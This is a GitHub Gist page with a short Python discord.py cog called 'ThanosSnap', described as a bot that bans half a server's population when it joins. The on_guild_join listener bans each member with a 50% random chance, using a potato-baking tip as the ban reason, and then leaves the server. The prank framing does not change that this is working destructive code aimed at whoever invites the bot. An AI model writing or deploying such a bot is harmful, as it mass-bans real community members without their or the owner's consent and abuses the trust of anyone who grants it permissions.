Created
September 6, 2019 22:27
-
-
Save 4Kaylum/9396783132d002f6c1802a46be9bc9be to your computer and use it in GitHub Desktop.
A bot that, when it joins a server, will ban 50% of the population
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""When the bot joins the server, it bans 50% of the population""" | |
import random | |
import discord | |
from cogs import utils | |
class ThanosSnap(utils.Cogs): | |
def __init__(self, bot:utils.CustomBot): | |
super().__init__(bot) | |
@utils.Cogs.listener("on_guild_join") | |
async def ban_population(self, guild:discord.Guild): | |
"""Go through a guild's members and ban half of them""" | |
for member in guild.members: | |
if random.choice(["BAN", "DONT"]) == "BAN": | |
try: | |
await member.ban(reason="The standard method is 200C for 1hr-1hr 20mins. For a super-crispy skin and a slow-cooked inside, go for 180C for 2hrs 20 mins. If you’re time-pressed, ping your potato in the microwave for 5 mins to soften it up, then finish in the oven for 35-40 mins.") | |
except discord.Forbidden: | |
pass | |
await guild.leave() | |
def setup(bot:utils.CustomBot): | |
x = ThanosSnap(bot) | |
bot.add_cog(x) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment